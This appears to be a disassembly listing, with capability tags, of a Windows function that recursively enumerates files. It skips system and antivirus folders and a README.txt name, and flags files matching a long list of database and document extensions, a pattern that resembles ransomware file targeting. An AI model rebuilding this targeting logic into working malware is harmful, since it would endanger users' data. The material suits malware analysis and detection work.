Function at 0x140011820
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x14001f700
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x30b0
call fcn.1400111e0
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xaa0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x30d8]
mov rax, qword [0x14003a040]
xor rax, rbp
mov qword [rbp + 0x3078], rax
lea rcx, [0x1400410ff]
call fcn.140011a5a
lea r8, [0x140031494]
mov rdx, qword [rbp + 0x30a0]
lea rcx, [rbp + 0xa18]
call fcn.140011956
mov qword [rbp + 0x3038], rax
mov rcx, qword [rbp + 0x3038]
call fcn.14001136b
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
lea rcx, [rbp + 0xa18]
call fcn.140011929
mov edx, 0x20
lea rcx, [rbp + 0x298]
call fcn.14001188e
lea rcx, [rbp + 0xa54]
call fcn.1400118b1
mov qword [rbp + 0x3038], rax
lea rax, str.Windows
mov qword [rbp + 0x2fe0], rax
lea rax, [0x1400314b8]
mov qword [rbp + 0x2fe8], rax
lea rax, str.winnt
mov qword [rbp + 0x2ff0], rax
lea rax, str.temp
mov qword [rbp + 0x2ff8], rax
lea rax, str.thumb
mov qword [rbp + 0x3000], rax
lea rax, str._Recycle.Bin
mov qword [rbp + 0x3008], rax
lea rax, str.RECYCLE.BIN
mov qword [rbp + 0x3010], rax
lea rax, str.System_Volume_Information
mov qword [rbp + 0x3018], rax
lea rax, str.BootTrend_Micro
mov qword [rbp + 0x3020], rax
lea rax, [rbp + 0x3028]
mov r8, rax
lea rdx, [rbp + 0x2fe0]
lea rcx, [rbp + 0xa78]
call fcn.1400112d5
lea rcx, [rbp + 0xaa8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1020]
lea rcx, [rbp + 0xaa8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x3038]
lea rdx, [rbp + 0x1020]
lea rcx, [rbp + 0x298]
call fcn.140011208
nop
mov edx, 0x20
lea rcx, [rbp + 0x2d8]
call fcn.1400119dd
lea rcx, [rbp + 0xad4]
call fcn.1400116f9
mov qword [rbp + 0x3038], rax
lea rdx, [0x1400315a0]
lea rcx, [rbp + 0x2ed0]
call fcn.140011361
nop
lea rdx, [0x1400315b0]
lea rcx, [rbp + 0x2ef8]
call fcn.140011361
nop
lea rdx, [0x1400315c0]
lea rcx, [rbp + 0x2f20]
call fcn.140011361
nop
lea rdx, [0x1400315d0]
lea rcx, [rbp + 0x2f48]
call fcn.140011361
nop
lea rdx, [0x1400315e0]
lea rcx, [rbp + 0x2f70]
call fcn.140011361
nop
lea rdx, str.README.txt
lea rcx, [rbp + 0x2f98]
call fcn.140011361
nop
lea rax, [rbp + 0x2fc0]
mov r8, rax
lea rdx, [rbp + 0x2ed0]
lea rcx, [rbp + 0xaf8]
call fcn.1400114ab
lea rcx, [rbp + 0xb28]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1050]
lea rcx, [rbp + 0xb28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x3038]
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x2d8]
call fcn.1400116e0
nop
lea r9, [fcn.140011929]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x2ed0]
call fcn.14001129e
mov edx, 0x20
lea rcx, [rbp + 0x318]
call fcn.1400119dd
lea rcx, [rbp + 0xb54]
call fcn.1400116f9
mov qword [rbp + 0x3038], rax
lea rdx, [0x140031610]
lea rcx, [rbp + 0x10b0]
call fcn.140011361
nop
lea rdx, [0x140031620]
lea rcx, [rbp + 0x10d8]
call fcn.140011361
nop
lea rdx, str.accdb
lea rcx, [rbp + 0x1100]
call fcn.140011361
nop
lea rdx, str.accdc
lea rcx, [rbp + 0x1128]
call fcn.140011361
nop
lea rdx, str.accde
lea rcx, [rbp + 0x1150]
call fcn.140011361
nop
lea rdx, str.accdr
lea rcx, [rbp + 0x1178]
call fcn.140011361
nop
lea rdx, str.accdt
lea rcx, [rbp + 0x11a0]
call fcn.140011361
nop
lea rdx, str.accft
lea rcx, [rbp + 0x11c8]
call fcn.140011361
nop
lea rdx, [0x140031690]
lea rcx, [rbp + 0x11f0]
call fcn.140011361
nop
lea rdx, [0x1400316a0]
lea rcx, [rbp + 0x1218]
call fcn.140011361
nop
lea rdx, [0x1400316b0]
lea rcx, [rbp + 0x1240]
call fcn.140011361
nop
lea rdx, [0x1400316c0]
lea rcx, [rbp + 0x1268]
call fcn.140011361
nop
lea rdx, [0x1400316d0]
lea rcx, [rbp + 0x1290]
call fcn.140011361
nop
lea rdx, [0x1400316e0]
lea rcx, [rbp + 0x12b8]
call fcn.140011361
nop
lea rdx, [0x1400316f0]
lea rcx, [rbp + 0x12e0]
call fcn.140011361
nop
lea rdx, [0x140031700]
lea rcx, [rbp + 0x1308]
call fcn.140011361
nop
lea rdx, [0x140031710]
lea rcx, [rbp + 0x1330]
call fcn.140011361
nop
lea rdx, [0x140031720]
lea rcx, [rbp + 0x1358]
call fcn.140011361
nop
lea rdx, [0x140031730]
lea rcx, [rbp + 0x1380]
call fcn.140011361
nop
lea rdx, [0x140031740]
lea rcx, [rbp + 0x13a8]
call fcn.140011361
nop
lea rdx, [0x140031750]
lea rcx, [rbp + 0x13d0]
call fcn.140011361
nop
lea rdx, [0x140031760]
lea rcx, [rbp + 0x13f8]
call fcn.140011361
nop
lea rdx, [0x140031770]
lea rcx, [rbp + 0x1420]
call fcn.140011361
nop
lea rdx, str.dacpac
lea rcx, [rbp + 0x1448]
call fcn.140011361
nop
lea rdx, [0x140031790]
lea rcx, [rbp + 0x1470]
call fcn.140011361
nop
lea rdx, str.dadiagrams
lea rcx, [rbp + 0x1498]
call fcn.140011361
nop
lea rdx, str.daschema
lea rcx, [rbp + 0x14c0]
call fcn.140011361
nop
lea rdx, [0x1400317d8]
lea rcx, [rbp + 0x14e8]
call fcn.140011361
nop
lea rdx, str.db_shm
lea rcx, [rbp + 0x1510]
call fcn.140011361
nop
lea rdx, str.db_wal
lea rcx, [rbp + 0x1538]
call fcn.140011361
nop
lea rdx, [0x140031800]
lea rcx, [rbp + 0x1560]
call fcn.140011361
nop
lea rdx, [0x140031810]
lea rcx, [rbp + 0x1588]
call fcn.140011361
nop
lea rdx, [0x140031820]
lea rcx, [rbp + 0x15b0]
call fcn.140011361
nop
lea rdx, [0x140031830]
lea rcx, [rbp + 0x15d8]
call fcn.140011361
nop
lea rdx, [0x140031840]
lea rcx, [rbp + 0x1600]
call fcn.140011361
nop
lea rdx, [0x140031850]
lea rcx, [rbp + 0x1628]
call fcn.140011361
nop
lea rdx, [0x140031860]
lea rcx, [rbp + 0x1650]
call fcn.140011361
nop
lea rdx, [0x140031870]
lea rcx, [rbp + 0x1678]
call fcn.140011361
nop
lea rdx, [0x140031880]
lea rcx, [rbp + 0x16a0]
call fcn.140011361
nop
lea rdx, [0x140031890]
lea rcx, [rbp + 0x16c8]
call fcn.140011361
nop
lea rdx, [0x1400318a0]
lea rcx, [rbp + 0x16f0]
call fcn.140011361
nop
lea rdx, str.dlis
lea rcx, [rbp + 0x1718]
call fcn.140011361
nop
lea rdx, [0x1400318c0]
lea rcx, [rbp + 0x1740]
call fcn.140011361
nop
lea rdx, [0x1400318d0]
lea rcx, [rbp + 0x1768]
call fcn.140011361
nop
lea rdx, [0x1400318e0]
lea rcx, [rbp + 0x1790]
call fcn.140011361
nop
lea rdx, [0x1400318f0]
lea rcx, [rbp + 0x17b8]
call fcn.140011361
nop
lea rdx, str.dtsx
lea rcx, [rbp + 0x17e0]
call fcn.140011361
nop
lea rdx, [0x140031910]
lea rcx, [rbp + 0x1808]
call fcn.140011361
nop
lea rdx, [0x140031920]
lea rcx, [rbp + 0x1830]
call fcn.140011361
nop
lea rdx, [0x140031930]
lea rcx, [rbp + 0x1858]
call fcn.140011361
nop
lea rdx, [0x140031940]
lea rcx, [rbp + 0x1880]
call fcn.140011361
nop
lea rdx, str.epim
lea rcx, [rbp + 0x18a8]
call fcn.140011361
nop
lea rdx, [0x140031960]
lea rcx, [rbp + 0x18d0]
call fcn.140011361
nop
lea rdx, [0x140031970]
lea rcx, [rbp + 0x18f8]
call fcn.140011361
nop
lea rdx, [0x140031980]
lea rcx, [rbp + 0x1920]
call fcn.140011361
nop
lea rdx, [0x140031990]
lea rcx, [rbp + 0x1948]
call fcn.140011361
nop
lea rdx, [0x1400319a0]
lea rcx, [rbp + 0x1970]
call fcn.140011361
nop
lea rdx, str.fmp12
lea rcx, [rbp + 0x1998]
call fcn.140011361
nop
lea rdx, str.fmpsl
lea rcx, [rbp + 0x19c0]
call fcn.140011361
nop
lea rdx, [0x1400319d0]
lea rcx, [rbp + 0x19e8]
call fcn.140011361
nop
lea rdx, [0x1400319e0]
lea rcx, [rbp + 0x1a10]
call fcn.140011361
nop
lea rdx, [0x1400319f0]
lea rcx, [rbp + 0x1a38]
call fcn.140011361
nop
lea rdx, [0x140031a00]
lea rcx, [rbp + 0x1a60]
call fcn.140011361
nop
lea rdx, [0x140031a10]
lea rcx, [rbp + 0x1a88]
call fcn.140011361
nop
lea rdx, [0x140031a20]
lea rcx, [rbp + 0x1ab0]
call fcn.140011361
nop
lea rdx, [0x140031a30]
lea rcx, [rbp + 0x1ad8]
call fcn.140011361
nop
lea rdx, [0x140031a40]
lea rcx, [rbp + 0x1b00]
call fcn.140011361
nop
lea rdx, str.grdb
lea rcx, [rbp + 0x1b28]
call fcn.140011361
nop
lea rdx, [0x140031a60]
lea rcx, [rbp + 0x1b50]
call fcn.140011361
nop
lea rdx, [0x140031a70]
lea rcx, [rbp + 0x1b78]
call fcn.140011361
nop
lea rdx, [0x140031a80]
lea rcx, [rbp + 0x1ba0]
call fcn.140011361
nop
lea rdx, [0x140031a8c]
lea rcx, [rbp + 0x1bc8]
call fcn.140011361
nop
lea rdx, [0x140031a98]
lea rcx, [rbp + 0x1bf0]
call fcn.140011361
nop
lea rdx, [0x140031aa8]
lea rcx, [rbp + 0x1c18]
call fcn.140011361
nop
lea rdx, str.itdb
lea rcx, [rbp + 0x1c40]
call fcn.140011361
nop
lea rdx, [0x140031ac8]
lea rcx, [rbp + 0x1c68]
call fcn.140011361
nop
lea rdx, [0x140031ad8]
lea rcx, [rbp + 0x1c90]
call fcn.140011361
nop
lea rdx, [0x140031ae8]
lea rcx, [rbp + 0x1cb8]
call fcn.140011361
nop
lea rdx, [0x140031af8]
lea rcx, [rbp + 0x1ce0]
call fcn.140011361
nop
lea rdx, str.kexi
lea rcx, [rbp + 0x1d08]
call fcn.140011361
nop
lea rdx, str.kexic
lea rcx, [rbp + 0x1d30]
call fcn.140011361
nop
lea rdx, str.kexis
lea rcx, [rbp + 0x1d58]
call fcn.140011361
nop
lea rdx, [0x140031b38]
lea rcx, [rbp + 0x1d80]
call fcn.140011361
nop
lea rdx, [0x140031b48]
lea rcx, [rbp + 0x1da8]
call fcn.140011361
nop
lea rdx, [0x140031b58]
lea rcx, [rbp + 0x1dd0]
call fcn.140011361
nop
lea rdx, [0x140031b68]
lea rcx, [rbp + 0x1df8]
call fcn.140011361
nop
lea rdx, [0x140031b78]
lea rcx, [rbp + 0x1e20]
call fcn.140011361
nop
lea rdx, [0x140031b88]
lea rcx, [rbp + 0x1e48]
call fcn.140011361
nop
lea rdx, [0x140031b98]
lea rcx, [rbp + 0x1e70]
call fcn.140011361
nop
lea rdx, [0x140031ba8]
lea rcx, [rbp + 0x1e98]
call fcn.140011361
nop
lea rdx, [0x140031bb8]
lea rcx, [rbp + 0x1ec0]
call fcn.140011361
nop
lea rdx, [0x140031bc8]
lea rcx, [rbp + 0x1ee8]
call fcn.140011361
nop
lea rdx, [0x140031bd8]
lea rcx, [rbp + 0x1f10]
call fcn.140011361
nop
lea rdx, [0x140031be8]
lea rcx, [rbp + 0x1f38]
call fcn.140011361
nop
lea rdx, [0x140031bf8]
lea rcx, [rbp + 0x1f60]
call fcn.140011361
nop
lea rdx, [0x140031c08]
lea rcx, [rbp + 0x1f88]
call fcn.140011361
nop
lea rdx, [0x140031c18]
lea rcx, [rbp + 0x1fb0]
call fcn.140011361
nop
lea rdx, [0x140031c28]
lea rcx, [rbp + 0x1fd8]
call fcn.140011361
nop
lea rdx, str.nrmlib
lea rcx, [rbp + 0x2000]
call fcn.140011361
nop
lea rdx, [0x140031c48]
lea rcx, [rbp + 0x2028]
call fcn.140011361
nop
lea rdx, [0x140031c58]
lea rcx, [rbp + 0x2050]
call fcn.140011361
nop
lea rdx, [0x140031c68]
lea rcx, [rbp + 0x2078]
call fcn.140011361
nop
lea rdx, [0x140031c78]
lea rcx, [rbp + 0x20a0]
call fcn.140011361
nop
lea rdx, [0x140031c84]
lea rcx, [rbp + 0x20c8]
call fcn.140011361
nop
lea rdx, [0x140031c90]
lea rcx, [rbp + 0x20f0]
call fcn.140011361
nop
lea rdx, str.nwdb
lea rcx, [rbp + 0x2118]
call fcn.140011361
nop
lea rdx, [0x140031cb0]
lea rcx, [rbp + 0x2140]
call fcn.140011361
nop
lea rdx, [0x140031cc0]
lea rcx, [rbp + 0x2168]
call fcn.140011361
nop
lea rdx, [0x140031cd0]
lea rcx, [rbp + 0x2190]
call fcn.140011361
nop
lea rdx, [0x140031ce0]
lea rcx, [rbp + 0x21b8]
call fcn.140011361
nop
lea rdx, [0x140031cf0]
lea rcx, [rbp + 0x21e0]
call fcn.140011361
nop
lea rdx, [0x140031d00]
lea rcx, [rbp + 0x2208]
call fcn.140011361
nop
lea rdx, [0x140031d10]
lea rcx, [rbp + 0x2230]
call fcn.140011361
nop
lea rdx, [0x140031d20]
lea rcx, [rbp + 0x2258]
call fcn.140011361
nop
lea rdx, [0x140031d30]
lea rcx, [rbp + 0x2280]
call fcn.140011361
nop
lea rdx, [0x140031d40]
lea rcx, [rbp + 0x22a8]
call fcn.140011361
nop
lea rdx, [0x140031d50]
lea rcx, [rbp + 0x22d0]
call fcn.140011361
nop
lea rdx, [0x140031d60]
lea rcx, [rbp + 0x22f8]
call fcn.140011361
nop
lea rdx, [0x140031d70]
lea rcx, [rbp + 0x2320]
call fcn.140011361
nop
lea rdx, [0x140031d80]
lea rcx, [rbp + 0x2348]
call fcn.140011361
nop
lea rdx, str.rctd
lea rcx, [rbp + 0x2370]
call fcn.140011361
nop
lea rdx, [0x140031da0]
lea rcx, [rbp + 0x2398]
call fcn.140011361
nop
lea rdx, str.rodx
lea rcx, [rbp + 0x23c0]
call fcn.140011361
nop
lea rdx, [0x140031dc0]
lea rcx, [rbp + 0x23e8]
call fcn.140011361
nop
lea rdx, [0x140031dd0]
lea rcx, [rbp + 0x2410]
call fcn.140011361
nop
lea rdx, str.sas7bdat
lea rcx, [rbp + 0x2438]
call fcn.140011361
nop
lea rdx, [0x140031df8]
lea rcx, [rbp + 0x2460]
call fcn.140011361
nop
lea rdx, [0x140031e08]
lea rcx, [rbp + 0x2488]
call fcn.140011361
nop
lea rdx, [0x140031e18]
lea rcx, [rbp + 0x24b0]
call fcn.140011361
nop
lea rdx, [0x140031e28]
lea rcx, [rbp + 0x24d8]
call fcn.140011361
nop
lea rdx, [0x140031e38]
lea rcx, [rbp + 0x2500]
call fcn.140011361
nop
lea rdx, [0x140031e48]
lea rcx, [rbp + 0x2528]
call fcn.140011361
nop
lea rdx, [0x140031e58]
lea rcx, [rbp + 0x2550]
call fcn.140011361
nop
lea rdx, [0x140031e68]
lea rcx, [rbp + 0x2578]
call fcn.140011361
nop
lea rdx, str.sqlite
lea rcx, [rbp + 0x25a0]
call fcn.140011361
nop
lea rdx, str.sqlite3
lea rcx, [rbp + 0x25c8]
call fcn.140011361
nop
lea rdx, str.sqlitedb
lea rcx, [rbp + 0x25f0]
call fcn.140011361
nop
lea rdx, [0x140031eb8]
lea rcx, [rbp + 0x2618]
call fcn.140011361
nop
lea rdx, str.temx
lea rcx, [rbp + 0x2640]
call fcn.140011361
nop
lea rdx, [0x140031ed0]
lea rcx, [rbp + 0x2668]
call fcn.140011361
nop
lea rdx, [0x140031ee0]
lea rcx, [rbp + 0x2690]
call fcn.140011361
nop
lea rdx, [0x140031ef0]
lea rcx, [rbp + 0x26b8]
call fcn.140011361
nop
lea rdx, [0x140031f00]
lea rcx, [rbp + 0x26e0]
call fcn.140011361
nop
lea rdx, [0x140031f10]
lea rcx, [rbp + 0x2708]
call fcn.140011361
nop
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x2730]
call fcn.140011361
nop
lea rdx, [0x140031f30]
lea rcx, [rbp + 0x2758]
call fcn.140011361
nop
lea rdx, [0x140031f40]
lea rcx, [rbp + 0x2780]
call fcn.140011361
nop
lea rdx, [0x140031f50]
lea rcx, [rbp + 0x27a8]
call fcn.140011361
nop
lea rdx, [0x140031f60]
lea rcx, [rbp + 0x27d0]
call fcn.140011361
nop
lea rdx, [0x140031f70]
lea rcx, [rbp + 0x27f8]
call fcn.140011361
nop
lea rdx, [0x140031f80]
lea rcx, [rbp + 0x2820]
call fcn.140011361
nop
lea rdx, str.wmdb
lea rcx, [rbp + 0x2848]
call fcn.140011361
nop
lea rdx, [0x140031fa0]
lea rcx, [rbp + 0x2870]
call fcn.140011361
nop
lea rdx, [0x140031fb0]
lea rcx, [rbp + 0x2898]
call fcn.140011361
nop
lea rdx, [0x140031fc0]
lea rcx, [rbp + 0x28c0]
call fcn.140011361
nop
lea rdx, str.xmlff
lea rcx, [rbp + 0x28e8]
call fcn.140011361
nop
lea rdx, str.abcddb
lea rcx, [rbp + 0x2910]
call fcn.140011361
nop
lea rdx, [0x140031ff0]
lea rcx, [rbp + 0x2938]
call fcn.140011361
nop
lea rdx, [0x140032000]
lea rcx, [rbp + 0x2960]
call fcn.140011361
nop
lea rdx, str.accdw
lea rcx, [rbp + 0x2988]
call fcn.140011361
nop
lea rdx, [0x140032020]
lea rcx, [rbp + 0x29b0]
call fcn.140011361
nop
lea rdx, [0x140032030]
lea rcx, [rbp + 0x29d8]
call fcn.140011361
nop
lea rdx, [0x140032040]
lea rcx, [rbp + 0x2a00]
call fcn.140011361
nop
lea rdx, [0x140032050]
lea rcx, [rbp + 0x2a28]
call fcn.140011361
nop
lea rdx, [0x140032060]
lea rcx, [rbp + 0x2a50]
call fcn.140011361
nop
lea rdx, [0x140032070]
lea rcx, [rbp + 0x2a78]
call fcn.140011361
nop
lea rdx, [0x140031af8]
lea rcx, [rbp + 0x2aa0]
call fcn.140011361
nop
lea rdx, [0x140032080]
lea rcx, [rbp + 0x2ac8]
call fcn.140011361
nop
lea rdx, [0x140032090]
lea rcx, [rbp + 0x2af0]
call fcn.140011361
nop
lea rdx, [0x1400320a0]
lea rcx, [rbp + 0x2b18]
call fcn.140011361
nop
lea rdx, [0x1400320b0]
lea rcx, [rbp + 0x2b40]
call fcn.140011361
nop
lea rdx, [0x1400320c0]
lea rcx, [rbp + 0x2b68]
call fcn.140011361
nop
lea rdx, [0x1400320cc]
lea rcx, [rbp + 0x2b90]
call fcn.140011361
nop
lea rdx, [0x1400320d0]
lea rcx, [rbp + 0x2bb8]
call fcn.140011361
nop
lea rdx, [0x1400320d8]
lea rcx, [rbp + 0x2be0]
call fcn.140011361
nop
lea rdx, [0x1400320e8]
lea rcx, [rbp + 0x2c08]
call fcn.140011361
nop
lea rdx, [0x1400320f4]
lea rcx, [rbp + 0x2c30]
call fcn.140011361
nop
lea rdx, [0x1400320f8]
lea rcx, [rbp + 0x2c58]
call fcn.140011361
nop
lea rdx, [0x140032100]
lea rcx, [rbp + 0x2c80]
call fcn.140011361
nop
lea rdx, str.java
lea rcx, [rbp + 0x2ca8]
call fcn.140011361
nop
lea rdx, [0x140032114]
lea rcx, [rbp + 0x2cd0]
call fcn.140011361
nop
lea rdx, [0x14003211c]
lea rcx, [rbp + 0x2cf8]
call fcn.140011361
nop
lea rdx, str.html
lea rcx, [rbp + 0x2d20]
call fcn.140011361
nop
lea rdx, [0x140032138]
lea rcx, [rbp + 0x2d48]
call fcn.140011361
nop
lea rdx, [0x140032144]
lea rcx, [rbp + 0x2d70]
call fcn.140011361
nop
lea rdx, [0x14003214c]
lea rcx, [rbp + 0x2d98]
call fcn.140011361
nop
lea rdx, str.lisp
lea rcx, [rbp + 0x2dc0]
call fcn.140011361
nop
lea rdx, [0x140032168]
lea rcx, [rbp + 0x2de8]
call fcn.140011361
nop
lea rdx, [0x140032178]
lea rcx, [rbp + 0x2e10]
call fcn.140011361
nop
lea rdx, [0x140032184]
lea rcx, [rbp + 0x2e38]
call fcn.140011361
nop
lea rdx, [0x140032188]
lea rcx, [rbp + 0x2e60]
call fcn.140011361
nop
lea rdx, [0x140032190]
lea rcx, [rbp + 0x2e88]
call fcn.140011361
nop
lea rax, [rbp + 0x2eb0]
mov r8, rax
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0xb78]
call fcn.1400114ab
lea rcx, [rbp + 0xba8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1080]
lea rcx, [rbp + 0xba8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x3038]
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x318]
call fcn.1400116e0
nop
lea r9, [fcn.140011929]
mov r8d, 0xc0
mov edx, 0x28
lea rcx, [rbp + 0x10b0]
call fcn.14001129e
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x140020a0b
lea rdx, str.Error_finding_first_file._Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140011541
mov qword [rbp + 0x3038], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3040], eax
mov edx, dword [rbp + 0x3040]
mov rcx, qword [rbp + 0x3038]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov dl, 0xa
mov rcx, rax
call fcn.14001153c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x1400209e0
lea rdx, str.Access_denied_to_the_folder_or_file._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140011541
nop
lea rcx, [rbp + 0x318]
call fcn.14001176c
nop
lea rcx, [rbp + 0x2d8]
call fcn.14001176c
nop
lea rcx, [rbp + 0x298]
call fcn.140011537
jmp 0x14002106d
mov dword [rbp + 0x354], 0
lea rdx, [0x140032200]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
je 0x140021020
lea rdx, [0x140032204]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
je 0x140021020
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x140020c5c
mov dword [rbp + 0x374], 0
jmp 0x140020a6f
mov eax, dword [rbp + 0x374]
inc eax
mov dword [rbp + 0x374], eax
movsxd rax, dword [rbp + 0x374]
mov qword [rbp + 0x3038], rax
lea rcx, [rbp + 0x298]
call fcn.140011203
mov rcx, qword [rbp + 0x3038]
cmp rcx, rax
jae 0x140020b08
movsxd rax, dword [rbp + 0x374]
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.14001127b
lea rdx, [rbp + 0x3c]
mov rcx, qword [rax]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140020b03
lea rdx, str.Skipping_blacklisted_directory:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011541
mov rdx, qword [rbp + 0x30a0]
mov rcx, rax
call fcn.1400115f5
lea rdx, [rbp + 0x3c]
mov rcx, rax
call fcn.140011541
mov dl, 0xa
mov rcx, rax
call fcn.14001153c
mov dword [rbp + 0x354], 1
jmp 0x140020a61
jmp 0x140020a61
cmp dword [rbp + 0x354], 1
je 0x140020c52
lea rdx, str.Folder:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011541
mov qword [rbp + 0x3038], rax
lea r8, [0x140032260]
mov rdx, qword [rbp + 0x30a0]
lea rcx, [rbp + 0xbd8]
call fcn.140011956
mov qword [rbp + 0x3040], rax
mov rax, qword [rbp + 0x3040]
mov qword [rbp + 0x3048], rax
lea r8, [rbp + 0x3c]
mov rdx, qword [rbp + 0x3048]
lea rcx, [rbp + 0xc18]
call fcn.14001163b
mov qword [rbp + 0x3050], rax
mov rax, qword [rbp + 0x3050]
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
mov qword [rbp + 0x3060], rax
mov rdx, qword [rbp + 0x3060]
mov rcx, qword [rbp + 0x3038]
call fcn.1400115f5
mov dl, 0xa
mov rcx, rax
call fcn.14001153c
nop
lea rcx, [rbp + 0xc18]
call fcn.140011929
nop
lea rcx, [rbp + 0xbd8]
call fcn.140011929
lea r8, [0x140032260]
mov rdx, qword [rbp + 0x30a0]
lea rcx, [rbp + 0xc58]
call fcn.140011956
mov qword [rbp + 0x3038], rax
mov rax, qword [rbp + 0x3038]
mov qword [rbp + 0x3040], rax
lea r8, [rbp + 0x3c]
mov rdx, qword [rbp + 0x3040]
lea rcx, [rbp + 0xc98]
call fcn.14001163b
mov qword [rbp + 0x3048], rax
mov rax, qword [rbp + 0x3048]
mov qword [rbp + 0x3050], rax
mov rcx, qword [rbp + 0x3050]
call fcn.140011820
nop
lea rcx, [rbp + 0xc98]
call fcn.140011929
nop
lea rcx, [rbp + 0xc58]
call fcn.140011929
jmp 0x140020c57
jmp 0x140021020
jmp 0x140021020
lea rdx, [rbp + 0x3c]
lea rcx, [rbp + 0x398]
call fcn.140011361
nop
mov r8, 0xffffffffffffffff
lea rdx, [0x140032200]
lea rcx, [rbp + 0x398]
call fcn.1400116f4
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x398]
call fcn.140011262
nop
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xd08], rax
mov rdx, qword [rbp + 0xd08]
lea rcx, [rbp + 0x3d8]
call fcn.1400114e2
mov qword [rbp + 0x3038], rax
mov rax, qword [rbp + 0x3038]
mov qword [rbp + 0x3040], rax
lea rax, [rbp + 0xd28]
mov qword [rbp + 0xd58], rax
mov rdx, qword [rbp + 0xd58]
lea rcx, [rbp + 0x3d8]
call fcn.140011834
mov qword [rbp + 0x3048], rax
mov rax, qword [rbp + 0x3048]
mov qword [rbp + 0x3050], rax
lea rax, [rbp + 0xd78]
mov qword [rbp + 0xda8], rax
mov rdx, qword [rbp + 0xda8]
lea rcx, [rbp + 0x3d8]
call fcn.1400114e2
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
mov qword [rbp + 0x3060], rax
mov rax, qword [sym.imp.ucrtbased.dll_tolower]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x3040]
mov r8, qword [rbp + 0x3050]
mov rdx, qword [rbp + 0x3060]
lea rcx, [rbp + 0xdc8]
call fcn.140011177
lea rcx, [rbp + 0xdc8]
call fcn.1400115fa
lea rax, [rbp + 0xe18]
mov qword [rbp + 0xe48], rax
mov rdx, qword [rbp + 0xe48]
lea rcx, [rbp + 0x318]
call fcn.140011573
mov qword [rbp + 0x3038], rax
mov rax, qword [rbp + 0x3038]
mov qword [rbp + 0x3040], rax
lea rax, [rbp + 0xe68]
mov qword [rbp + 0xe98], rax
mov rdx, qword [rbp + 0xe98]
lea rcx, [rbp + 0x318]
call fcn.14001147e
mov qword [rbp + 0x3048], rax
mov rax, qword [rbp + 0x3048]
mov qword [rbp + 0x3050], rax
lea r9, [rbp + 0x3d8]
mov r8, qword [rbp + 0x3040]
mov rdx, qword [rbp + 0x3050]
lea rcx, [rbp + 0xeb8]
call fcn.1400119a6
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
mov qword [rbp + 0x3060], rax
lea rdx, [rbp + 0xee8]
lea rcx, [rbp + 0x318]
call fcn.140011573
mov qword [rbp + 0x3068], rax
mov rax, qword [rbp + 0x3068]
mov qword [rbp + 0x3070], rax
mov rdx, qword [rbp + 0x3070]
mov rcx, qword [rbp + 0x3060]
call fcn.14001109b
mov byte [rbp + 0xdf4], al
lea rcx, [rbp + 0xee8]
call fcn.140011aeb
lea rcx, [rbp + 0xeb8]
call fcn.140011aeb
movzx eax, byte [rbp + 0xdf4]
test eax, eax
je 0x140020f4c
lea rdx, str.Database_File:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011541
mov qword [rbp + 0x3038], rax
lea r8, [0x140032260]
mov rdx, qword [rbp + 0x30a0]
lea rcx, [rbp + 0xf18]
call fcn.140011956
mov qword [rbp + 0x3040], rax
mov rax, qword [rbp + 0x3040]
mov qword [rbp + 0x3048], rax
